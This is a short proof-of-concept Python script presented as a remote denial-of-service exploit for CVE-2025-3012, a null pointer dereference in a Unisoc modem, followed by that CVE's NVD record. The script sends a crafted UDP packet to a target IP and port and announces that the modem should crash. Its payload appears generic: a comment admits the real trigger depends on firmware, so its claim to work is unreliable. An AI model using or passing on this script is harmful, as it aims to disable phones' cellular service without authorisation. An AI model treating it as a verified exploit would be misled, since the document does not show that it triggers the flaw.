CVE-2025-3012

# CVE-2025-3012 PoC - Unisoc DPC Modem Null Pointer Dereference # This PoC demonstrates the vulnerability in Unisoc DPC modem # Attack Vector: Network-based, no authentication required import socket import struct import sys def create_malicious_packet(): """Generate a malicious packet to trigger null pointer dereference""" # Modem control message header header = struct.pack('!HH', 0x0001, 0x0000) # Type, Flags # Malformed data to trigger vulnerability # Specific payload depends on modem firmware version payload = b'\x00' * 100 # Null payload to trigger dereference # Add specific trigger bytes trigger = b'\xFF\xFF\xFF\xFF' return header + payload + trigger def send_exploit(target_ip, target_port=5555): """Send exploit packet to target modem""" try: sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) packet = create_malicious_packet() print(f"[*] Sending exploit to {target_ip}:{target_port}") sock.sendto(packet, (target_ip, target_port)) sock.close() print("[+] Exploit packet sent successfully") print("[*] Target modem should crash due to null pointer dereference") return True except Exception as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-3012.py <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 5555 send_exploit(target, port)

{"cve": {"id": "CVE-2025-3012", "sourceIdentifier": "[email protected]", "published": "2025-12-01T08:15:47.970", "lastModified": "2025-12-02T15:53:12.363", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In dpc modem, there is a possible system crash due to null pointer dereference. This could lead to remote denial of service with no additional execution privileges needed"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:google:android:13.0:*:*:*:*:*:*:*", "matchCriteriaId": "879FFD0C-9B38-4CAA-B057-1086D794D469"}, {"vulnerable": true, "criteria": "cpe:2.3:o:google:android:14.0:*:*:*:*:*:*:*", "matchCriteriaId": "2700BCC5-634D-4EC6-AB67-5B678D5F951D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:google:android:15.0:*:*:*:*:*:*:*", "matchCriteriaId": "8538774C-906D-4B03-A3E7-FA7A55E0DA9E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:google:android:16.0:*:*:*:*:*:*:*", "matchCriteriaId": "2D49E611-5D53-479D-A981-42388FDC0E8D"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:unisoc:t8100:-:*:*:*:*:*:*:*", "matchCriteriaId": "F2DA04F2-5351-4043-A330-5397E627A222"}, {"vulnerable": false, "criteria": "cpe:2.3:h:unisoc:t8200:-:*:*:*:*:*:*:*", "matchCriteriaId": "FC033D2C-ED1A-4EAB-A77B-8E1C88C74B0A"}, {"vulnerable": false, "criteria": "cpe:2.3:h:unisoc:t8300:-:*:*:*:*:*:*:*", "matchCriteriaId": "DC7743D5-B187-48D4-BC77-D8DCDF263166"}, {"vulnerable": false, "criteria": "cpe:2.3:h:unisoc:t9100:-:*:*:*:*:*:*:*", "matchCriteriaId": "9D1F3B9D-142F-4E70-8477-E26D921EF19A"}]}]}], "references": [{"url": "https://www.unisoc.com/en/support/announcement/1995394837938163714", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}